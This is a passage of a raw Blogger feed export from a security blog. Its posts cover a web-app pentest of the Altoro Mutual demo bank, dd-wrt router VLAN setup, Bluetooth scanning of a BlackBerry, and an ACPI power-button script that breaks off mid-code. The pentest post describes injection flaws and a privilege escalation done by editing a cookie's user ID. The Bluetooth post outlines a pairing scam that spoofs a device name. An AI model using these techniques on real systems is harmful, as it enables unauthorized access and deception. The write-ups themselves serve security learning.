0px;" title="image" width="1313" /&gt;&lt;/a&gt; &lt;br /&gt;* A possible XML/XPATH injection exists: &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3_fHnWOI/AAAAAAAAANk/umZ9YOrP31k/s1600-h/image%5B126%5D.png"&gt;&lt;img alt="image" border="0" height="564" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW3_qdsdMI/AAAAAAAAANo/RbC9621kSOI/image_thumb%5B44%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="815" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW4AALcRSI/AAAAAAAAANs/OnAngsYxBRs/s1600-h/image%5B129%5D.png"&gt;&lt;img alt="image" border="0" height="536" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW4AV4kt8I/AAAAAAAAANw/wPA_iZEd2EY/image_thumb%5B45%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="821" /&gt;&lt;/a&gt; &lt;br /&gt;With this we would obtain the first item &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW4AmEBi9I/AAAAAAAAAN4/KowmbH9Do6U/s1600-h/image%5B132%5D.png"&gt;&lt;img alt="image" border="0" height="503" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW4A2cJ6lI/AAAAAAAAAN8/lYrzg1DECfg/image_thumb%5B46%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="1313" /&gt;&lt;/a&gt; &lt;br /&gt;By crafting a more complex syntax we would for example find recursively the rest items. The contents are anyway indexed and available: &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW4BHqAtQI/AAAAAAAAAOA/1LKZ1oOtMhg/s1600-h/image%5B135%5D.png"&gt;&lt;img alt="image" border="0" height="613" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW4BWitATI/AAAAAAAAAOE/D2TXndUnF_4/image_thumb%5B47%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="826" /&gt;&lt;/a&gt; &lt;br /&gt;* Header injection vulnerability exists that allows modifying the page returned by the server. &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW4BmqfYaI/AAAAAAAAAOI/AgebkOjH6Ao/s1600-h/image%5B138%5D.png"&gt;&lt;img alt="image" border="0" height="581" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW4CCNTF8I/AAAAAAAAAOM/T0FaVUx6bkI/image_thumb%5B48%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="805" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW4Cb2l8cI/AAAAAAAAAOQ/8MR_LGIWvlU/s1600-h/image%5B141%5D.png"&gt;&lt;img alt="image" border="0" height="593" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW4Cw31CNI/AAAAAAAAAOU/z1wH514uMR0/image_thumb%5B49%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="829" /&gt;&lt;/a&gt; &lt;br /&gt;* Regarding to session management we show below admin and sjoe cookies to detect possible vulnerabilities: &lt;br /&gt;- admin cookie &lt;br /&gt;Cookie: ASP.NET_SessionId=35f2wi55vpoyoyrg0ve54szg; amSessionId=446643804; amUserInfo=UserName=YWRtaW4=&amp;amp;Password=YWRtaW4=; amUserId=1 &lt;br /&gt;- sjoe cookie &lt;br /&gt;Cookie: ASP.NET_SessionId=hvejm345qencll55npbtsqe0; amSessionId=582146246; amUserInfo=UserName=c2pvZSctLQ==&amp;amp;Password=bmFkYQ==; amUserId=100116013; amCreditOffer=CardType=Platinum&amp;amp;Limit=12000&amp;amp;Interest=5.4 &lt;br /&gt;We can highlight the following weaknesses: &lt;br /&gt;· Username and password information is resent on every query, this only should happen when login in and the server session context must maintain this information. &lt;br /&gt;· A suspicious amUserId is just used to difference one user from another, see image below. &lt;br /&gt;· Special offers are set on client side by mans of amCreditOffer,CardType and Limit. &lt;br /&gt;· The seemingly hashed information contained in username or password is just a base64 encoding so it is easy to intercept and reverse. (c2pvZSctLQ== is translated to sjoe'--) &lt;br /&gt;* Having logged in as sjoe user we just have to ask for a privileged page like &lt;a href="http://demo.testfire.net/admin/admin.aspx"&gt;http://demo.testfire.net:80/admin/admin.aspx&lt;/a&gt; and modify sjoe amUserId field to set it to admin’s one (1) and we can access that critical page impersonating admin user. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW4DCRPKMI/AAAAAAAAAOY/20eF5jz4bJs/s1600-h/image%5B144%5D.png"&gt;&lt;img alt="image" border="0" height="353" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW4DQFlCYI/AAAAAAAAAOc/808eo4aB49U/image_thumb%5B50%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="1314" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-3712575366107117293?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/3712575366107117293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/12/glance-at-altoro-mutual.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/3712575366107117293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/3712575366107117293'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/12/glance-at-altoro-mutual.html' title='A glance at Altoro Mutual'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_xdTz5PTwQjE/TTTqvNnCbTI/AAAAAAAAAIk/C_RuDxEPgiM/s72-c/image_thumb%5B5%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-814016981753571565</id><published>2010-12-12T18:20:00.003-05:00</published><updated>2011-01-23T01:29:09.843-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='isolation'/><category scheme='http://www.blogger.com/atom/ns#' term='VLAN'/><category scheme='http://www.blogger.com/atom/ns#' term='WRT54GL'/><category scheme='http://www.blogger.com/atom/ns#' term='dd-wrt'/><title type='text'>How to Isolate a port in Linksys WRT54G/GL/GS</title><content type='html'>&lt;h4&gt;Introduction&lt;/h4&gt;Linksys routers can be enhanced by great firmwares that enable a lot of interesting/never ending features. So then what are you waiting for for upgrading your linksys box?  &lt;br /&gt;There are plenty of documentation on how to do it, this brief tutorial is based on &lt;a href="http://www.dd-wrt.com/"&gt;dd-wrt&lt;/a&gt; firmware but I’m sure you can achieve similar results in others as well:  &lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;a href="http://www.polarcloud.com/tomato"&gt;Tomato Firmware&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://www.freewrt.org/"&gt;FreeWRT&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://www.openwrt.org/"&gt;OpenWRT&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://tarifa.sourceforge.net/"&gt;Tarifa&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://x-wrt.org/"&gt;X-Wrt&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;What I will explain next is how to isolate a port in the Linksys device, so that a computer connecting to that port will be able to access to the Internet but not see the machines in the rest of ports.  &lt;br /&gt;&lt;h4&gt;Usefull commands&lt;/h4&gt;&lt;pre&gt;nvram show #show all config&lt;br /&gt;nvram get &amp;lt;variable&amp;gt; #gets variable content&lt;br /&gt;nvram set &amp;lt;variable&amp;gt;=&amp;lt;value&amp;gt; #sets variable content&lt;br /&gt;nvram set &amp;lt;variable&amp;gt;= #blanks a variable&lt;br /&gt;nvram unset &amp;lt;variable&amp;gt; #erases the variable completely&lt;br /&gt;nvram commit #saves the changes to nvram so they are kept after reseting the router&lt;/pre&gt;&lt;h4&gt;The architecture&lt;/h4&gt;Here you can see how is this type of Linksys device internally:  &lt;br /&gt;&lt;img alt="WRT54_sw2_internal_architecture.png" src="http://wiki.eslimasec.com/esliwiki/IsolatingLinksysPortsPost?action=AttachFile&amp;amp;do=get&amp;amp;target=WRT54_sw2_internal_architecture.png" title="WRT54_sw2_internal_architecture.png" /&gt; &lt;br /&gt;What we see is that case labels (port numbers that we see in the rear view of the linksys device) do not match with the port numbers that dd-wrt firmware uses internally for them. &lt;b&gt;This means that port 4 (externally) matches with port 0 (internally)&lt;/b&gt;.  &lt;br /&gt;&lt;ul&gt;&lt;li&gt;port 5 (internal) leads to the cpu of dd-wrt. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;port 4 (internal) connects to the internet. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;port 0 (internal) is where we will create the new vlan (vlan2) and will be isolated from the rest of user ports (1-3) and wifi. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;port 0 (internal) will indeed need to see port 5 so that the CPU can route the packets to the internet through port 4. &lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Don't trust me! save your current config&lt;/h4&gt;Before changing any configuration following this tutorial I will be nice to you and strongly recommend to backup your config. I guess all firmwares (the original linksys one included) have the facility to backup you current configuration.  &lt;br /&gt;&lt;b&gt;so do so!!!&lt;/b&gt; &lt;br /&gt;&lt;h4&gt;The configuration&lt;/h4&gt;The first step is based on the premise that you already have installed dd-wrt in your Linksys/Other router.  &lt;br /&gt;Bearing all said before in mind we log into the router by means of telnet or ssh and do the following: &lt;br /&gt;&lt;pre&gt;nvram set vlan0ports="3 2 1 5*"&lt;br /&gt;nvram set vlan2ports="0 5"&lt;/pre&gt;With this our isolated port "0" will now belong to a new vlan called "vlan2".  &lt;br /&gt;The asterisk (*) signifies that the VLAN it is attached to is the default VLAN: if the switch receives a packet on port 5 that is not tagged it is put into the VLAN where the * is configured.  &lt;br /&gt;Now its time to define that we want to assign an IP to that vlan so that any computer that connects to that port can define its default gateway as 192.168.2.1 and be able to connect to the internet. &lt;br /&gt;&lt;pre&gt;nvram set rc_startup='&lt;br /&gt;ifconfig vlan2 192.168.2.1 netmask 255.255.255.0&lt;br /&gt;ifconfig vlan2 up&lt;br /&gt;'&lt;/pre&gt;On some other tutorials similar to this one, they tell you to log into de http configuration menu and configure the ports like this but i think its not required. Do this as well just in case the configuration doesn't work.  &lt;br /&gt;&lt;img alt="ddwrtsepvlan.gif" src="http://wiki.eslimasec.com/esliwiki/IsolatingLinksysPortsPost?action=AttachFile&amp;amp;do=get&amp;amp;target=ddwrtsepvlan.gif" title="ddwrtsepvlan.gif" /&gt; &lt;br /&gt;&lt;h4&gt;Securing/Allowing things a bit&lt;/h4&gt;To isolate the port but to the internet we define the following rule in the internal linksys firewall &lt;br /&gt;&lt;pre&gt;nvram set rc_firewall='&lt;br /&gt;/usr/sbin/iptables -I FORWARD -i vlan2 -o vlan1 -j ACCEPT&lt;br /&gt;'&lt;/pre&gt;The next step is rebooting the device and cross fingers &lt;br /&gt;&lt;pre&gt;reboot&lt;/pre&gt;&lt;h4&gt;Roll back changes/fucking device!!&lt;/h4&gt;If you happen to get desperate and you feel you have broken/bricked the router just do the following that will reset your nvram to the default settings &lt;br /&gt;&lt;pre&gt;Locate a small button in the rear side of the router and press it with a pen or something similar for at least 10 seconds.&lt;/pre&gt;&lt;h4&gt;Next steps&lt;/h4&gt;If you wanted you could assign the new port/net a dhcp server, but that was not my need.  &lt;br /&gt;&lt;h4&gt;Troubleshooting&lt;/h4&gt;During some test I have been doing I lost connectivity with the web interface, this is when accessing with a web browser the page looked like it was not loading. The solution is the following:  &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Access the router by means of telnet or ssh. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Restart the http daemon &lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;ps  #look for the pid of the httpd process in order to kill it&lt;br /&gt;kill -9 &amp;lt;httpd_pid&amp;gt;&lt;br /&gt;httpd -h /www #start the proccess again&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Try to access now through your browser &lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Links&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;br /&gt;&lt;a href="http://www.geek-pages.com/articles/latest/dd-wrt_-_setting_up_a_separate/isolated_vlan_on_port_4_with_dhcp_2.html"&gt;http://www.geek-pages.com/articles/latest/dd-wrt_-_setting_up_a_separate/isolated_vlan_on_port_4_with_dhcp_2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;a href="http://garycourt.com/blog/post/openwrt-advanced-firewall/"&gt;http://garycourt.com/blog/post/openwrt-advanced-firewall/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-814016981753571565?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/814016981753571565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/12/how-to-isolate-port-in-linksys.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/814016981753571565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/814016981753571565'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/12/how-to-isolate-port-in-linksys.html' title='How to Isolate a port in Linksys WRT54G/GL/GS'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-125902268557793040</id><published>2010-12-12T18:13:00.003-05:00</published><updated>2011-01-23T01:29:30.087-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bluetooth'/><category scheme='http://www.blogger.com/atom/ns#' term='blackberry'/><category scheme='http://www.blogger.com/atom/ns#' term='hci'/><title type='text'>Bluetooth &amp; Blackberry</title><content type='html'>&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;&lt;h4&gt;Introduction&lt;/h4&gt;Hi, after so long creating a new post this time I just wanna talk about Bluetooth devices and blackberries...not the fruit huh!  &lt;br /&gt;Well in fact I am not sure if I will cover something interesting related to BB (Blackberry) I just will try to  &lt;br /&gt;Also have in mind that the bluetooth dongle I am using is a cheap-poor-not-great one.  &lt;br /&gt;&lt;h4&gt;The hardware&lt;/h4&gt;I just have this and will try to see what sort of tweaks and tricks we can perform...yeah the /Rooted ad, it was a great Con that took place in Spain I want to mention in my wiki, didn't hear about it? &lt;a href="http://www.rootedcon.es/eng/index.html"&gt;http://www.rootedcon.es/eng/index.html&lt;/a&gt; &lt;br /&gt;&lt;img alt="100420100152.jpg" src="http://wiki.eslimasec.com/esliwiki/BluetoothBBPost?action=AttachFile&amp;amp;do=get&amp;amp;target=100420100152.jpg" title="100420100152.jpg" /&gt; &lt;br /&gt;&lt;hr /&gt;&lt;h4&gt;The tools&lt;/h4&gt;So far a brand new Backtrack 4 seems enough.  &lt;br /&gt;&lt;h5&gt;Bluetooth dongle id&lt;/h5&gt;&lt;pre&gt;root@bt:/# tail /var/log/syslog&lt;br /&gt;Apr 10 13:18:36 bt kernel: eth0: no IPv6 routers present&lt;br /&gt;Apr 10 13:21:57 bt kernel: Bluetooth: Core ver 2.15&lt;br /&gt;Apr 10 13:21:57 bt kernel: NET: Registered protocol family 31&lt;br /&gt;Apr 10 13:21:57 bt kernel: Bluetooth: HCI device and connection manager initialized&lt;br /&gt;Apr 10 13:21:57 bt kernel: Bluetooth: HCI socket layer initialized&lt;br /&gt;Apr 10 13:22:04 bt kernel: usb 2-2: new full speed USB device using uhci_hcd and address 2&lt;br /&gt;Apr 10 13:22:04 bt kernel: usb 2-2: device descriptor read/64, error -71&lt;br /&gt;Apr 10 13:22:05 bt kernel: usb 2-2: configuration #1 chosen from 1 choice&lt;br /&gt;Apr 10 13:22:06 bt kernel: Bluetooth: Generic Bluetooth USB driver ver 0.5&lt;br /&gt;Apr 10 13:22:06 bt kernel: usbcore: registered new interface driver btusb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@bt:/# hciconfig -a&lt;br /&gt;hci0:   Type: USB&lt;br /&gt;BD Address: 00:00:00:00:00:00 ACL MTU: 0:0 SCO MTU: 0:0&lt;br /&gt;DOWN&lt;br /&gt;RX bytes:0 acl:0 sco:0 events:0 errors:0&lt;br /&gt;TX bytes:0 acl:0 sco:0 commands:0 errors:0&lt;br /&gt;//when "upping" the device more info is provided and more commands are accepted and do not time out.&lt;br /&gt;root@bt:/# hciconfig hci0 up&lt;br /&gt;root@bt:/# hciconfig -a&lt;br /&gt;hci0:   Type: USB&lt;br /&gt;BD Address: XX:XX:XX:XX:XX:XX ACL MTU: 192:8 SCO MTU: 64:8&lt;br /&gt;UP RUNNING&lt;br /&gt;RX bytes:348 acl:0 sco:0 events:11 errors:0&lt;br /&gt;TX bytes:38 acl:0 sco:0 commands:11 errors:0&lt;br /&gt;Features: 0xff 0xff 0x8f 0xf8 0x18 0x18 0x00 0x80&lt;br /&gt;Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3&lt;br /&gt;Link policy:&lt;br /&gt;Link mode: SLAVE ACCEPT&lt;br /&gt;Name: 'CSR - bc3'&lt;br /&gt;Class: 0x000000&lt;br /&gt;Service Classes: Unspecified&lt;br /&gt;Device Class: Miscellaneous,&lt;br /&gt;HCI Ver: 1.2 (0x2) HCI Rev: 0x639 LMP Ver: 1.2 (0x2) LMP Subver: 0x639&lt;br /&gt;Manufacturer: Cambridge Silicon Radio (10)&lt;br /&gt;//seems just a ROM memory is installed&lt;br /&gt;root@bt:/# bccmd -d hci0 chiprev&lt;br /&gt;Chip revision: 0x0015 (BC3-ROM)&lt;br /&gt;&lt;br /&gt;//dfutools for managing the firmware do not work&lt;br /&gt;root@bt:/# dfutool -d hci0 archive bt_dongle_orig_firmware.bin&lt;br /&gt;Can't find any DFU devices&lt;/pre&gt;&lt;br /&gt;We can see the dongle from the picture above is a Cambrige Silicon Radio, with a bluecore 3 firmware &lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;Faking our name&lt;/h5&gt;&lt;br /&gt;I thought I couldn't as this device wasn't supposed to have writable memory &lt;br /&gt;&lt;pre&gt;root@bt:/# hciconfig hci0 name eslimasec&lt;br /&gt;root@bt:/# hciconfig hci0 name&lt;br /&gt;hci0:   Type: USB&lt;br /&gt;BD Address: XX:XX:XX:XX:XX:XX ACL MTU: 192:8 SCO MTU: 64:8&lt;br /&gt;Name: 'eslimasec'&lt;/pre&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;Scanning&lt;/h5&gt;&lt;pre&gt;root@bt:/# hcitool scan&lt;br /&gt;Scanning ...&lt;br /&gt;XX:XX:XX:XX:XX:XX       BlackBerry 8520&lt;/pre&gt;&lt;br /&gt;when the device is in listen/waiting mode for other devices to discover it, it reveals this information. &lt;br /&gt;&lt;pre&gt;root@bt:/# hcitool info XX:XX:XX:XX:XX:XX&lt;br /&gt;Requesting information ...&lt;br /&gt;BD Address:  XX:XX:XX:XX:XX:XX&lt;br /&gt;Device Name: BlackBerry 8520&lt;br /&gt;LMP Version: 2.1 (0x4) LMP Subversion: 0x12e9&lt;br /&gt;Manufacturer: Cambridge Silicon Radio (10)&lt;br /&gt;Features: 0xbf 0xfe 0x8f 0xfe 0x98 0x19 0x00 0x80&lt;br /&gt;&amp;lt;3-slot packets&amp;gt; &amp;lt;5-slot packets&amp;gt; &amp;lt;encryption&amp;gt; &amp;lt;slot offset&amp;gt;&lt;br /&gt;&amp;lt;timing accuracy&amp;gt; &amp;lt;role switch&amp;gt; &amp;lt;sniff mode&amp;gt; &amp;lt;RSSI&amp;gt;&lt;br /&gt;&amp;lt;channel quality&amp;gt; &amp;lt;SCO link&amp;gt; &amp;lt;HV2 packets&amp;gt; &amp;lt;HV3 packets&amp;gt;&lt;br /&gt;&amp;lt;u-law log&amp;gt; &amp;lt;A-law log&amp;gt; &amp;lt;CVSD&amp;gt; &amp;lt;paging scheme&amp;gt; &amp;lt;power control&amp;gt;&lt;br /&gt;&amp;lt;transparent SCO&amp;gt; &amp;lt;broadcast encrypt&amp;gt; &amp;lt;EDR ACL 2 Mbps&amp;gt;&lt;br /&gt;&amp;lt;EDR ACL 3 Mbps&amp;gt; &amp;lt;enhanced iscan&amp;gt; &amp;lt;interlaced iscan&amp;gt;&lt;br /&gt;&amp;lt;interlaced pscan&amp;gt; &amp;lt;inquiry with RSSI&amp;gt; &amp;lt;extended SCO&amp;gt;&lt;br /&gt;&amp;lt;AFH cap. slave&amp;gt; &amp;lt;AFH class. slave&amp;gt; &amp;lt;3-slot EDR ACL&amp;gt;&lt;br /&gt;&amp;lt;5-slot EDR ACL&amp;gt; &amp;lt;AFH cap. master&amp;gt; &amp;lt;AFH class. master&amp;gt;&lt;br /&gt;&amp;lt;extended features&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;BlackBerry (&amp;amp; other devs) Attacks&lt;/h5&gt;&lt;br /&gt;Scam attack by changing our dongle name. &lt;br /&gt;&lt;br /&gt;It was tested that the blackberry devices have a sort of cache that allows them to remember the name of you dongle from the first time you tried to get paired. &lt;br /&gt;&lt;pre&gt;//change the name of the dongle to make the user set the code you want, then just ask for info and that pairing message will appear on the victim screen&lt;br /&gt;root@bt:/# hcitool info XX:XX:XX:XX:XX:XX&lt;/pre&gt;&lt;br /&gt;&lt;h4&gt;Great Links&lt;/h4&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;br /&gt;&lt;a href="http://bluetooth-pentest.narod.ru/"&gt;http://bluetooth-pentest.narod.ru/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;a href="http://thewifihack.com/blog/?p=27"&gt;http://thewifihack.com/blog/?p=27&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-125902268557793040?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/125902268557793040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/12/bluetooth-blackberry.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/125902268557793040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/125902268557793040'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/12/bluetooth-blackberry.html' title='Bluetooth &amp;amp; Blackberry'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-8792137523857375136</id><published>2010-11-27T21:36:00.001-05:00</published><updated>2011-01-23T01:29:47.960-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='acpi'/><category scheme='http://www.blogger.com/atom/ns#' term='powerbutton'/><category scheme='http://www.blogger.com/atom/ns#' term='shellscript'/><title type='text'>ACPI Power Button</title><content type='html'>&lt;span style="font-size: large;"&gt;Objective &lt;/span&gt;&lt;br /&gt;In this topic I'll give some hints on '''configuring actions for acpi events&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;The beginning of the plot&lt;/span&gt;&lt;br /&gt;On  Monday (24 Nov 2008) my precious EBOX4300 seemed to be turned off, this  resulted in this web page again being down...I'm starting to feel I'm  not going to get even a poor of 50% of uptime!! :(&lt;br /&gt;&lt;br /&gt;After a not so  hard research I came up with the cause of the downtime: my housemaid. I  noticed that the main power button in front of the machine, when  pressed, causes a shut down on it.&lt;br /&gt;&lt;br /&gt;With this insecure-for-my-uptime discovery I realized it was time to change this suicidal behaviour on my server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Identifying ACPI events generated&lt;/span&gt; &lt;br /&gt;It's  as easy as monitoring the '''/var/log/acpid''' which is the file where  the acpi daemon (acpid) writes interesting data. So when issuing this  command&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;tail -f /var/log/acpid&lt;/blockquote&gt;&lt;br /&gt;And manually pressing the rear power button We will see something like this on the screen&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[Tue Nov 25 21:32:42 2008] received event "button/power PWRF 00000080 0000000d"&lt;br /&gt;[Tue Nov 25 21:32:42 2008] executing action "/etc/acpi/powerbtn.sh"&lt;br /&gt;[Tue Nov 25 21:32:42 2008] BEGIN HANDLER MESSAGES&lt;br /&gt;hola&lt;br /&gt;[Tue Nov 25 21:32:42 2008] END HANDLER MESSAGES&lt;br /&gt;[Tue Nov 25 21:32:42 2008] action exited with status 0&lt;br /&gt;[Tue Nov 25 21:32:42 2008] completed event "button/power PWRF 00000080 0000000d"&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="font-size: large;"&gt;Changing the behaviour after an event&lt;/span&gt; &lt;br /&gt;As we can see in the last section the '''/etc/acpi/powerbn.sh''' is invoked when pressing the power button.&lt;br /&gt;&lt;br /&gt;What I did next was extending/varying the default behaviour like this:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;one press of the button: do nothing...ha ha ha ma housemaid now you cannot defeat me!&lt;/li&gt;&lt;li&gt;two consecutive presses of the button: do a backup of the file system to a usb drive&lt;/li&gt;&lt;li&gt;three consecutive presses of the button: do a reboot&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;The  consecutive button press is measured by means of a 1 second interval  and implemented by a "non-blocking sleep" and a file that acts as a flag  as you can see in the following code.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;{{{&lt;br /&gt;#!/bin/sh&lt;br /&gt;# /etc/acpi/powerbtn.sh&lt;br /&gt;# Modified by eslimasec for an ebox4300 backup to a usb drive&lt;br /&gt;# Based on a Herr Groucho script&lt;br /&gt;# Initiates a shutdown when the power button has been&lt;br /&gt;# pressed.&lt;br /&gt;# begin variablas definitions: edit here&lt;br /&gt;USB_DEV=/dev/sda1&lt;br /&gt;MNT_DIR=/mnt/usbdrive&lt;br /&gt;MNT_CMD=/bin/mount&lt;br /&gt;UMNT_CMD=/bin/umount&lt;br /&gt;INTERVAL=1&lt;br /&gt;LOCKDIR=/var/lock&lt;br /&gt;POWEROFF_LOCK=$LOCKDIR/poweroff&lt;br /&gt;TODAY=`date +"%Y%m%d"`&lt;br /&gt;BK_CMD="tar -czpf bk_wavy_$TODAY.tar.gz --exclude=/mnt/usbdrive&amp;nbsp; --exclude=/proc --exclude=/sys --exclude=/var/cache /"&lt;br /&gt;MOUNT_CMD="$MNT_CMD $USB_DEV $MNT_DIR"&lt;br /&gt;UMOUNT_CMD="$UMNT_CMD $USB_DEV"&lt;br /&gt;# end variable definition: end editing&lt;br /&gt;# begin functions declaration&lt;br /&gt;do_backup()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fdisk -l | grep -q /dev/sda1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if&amp;nbsp; [ $? -eq 0 ]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $MOUNT_CMD&lt;br 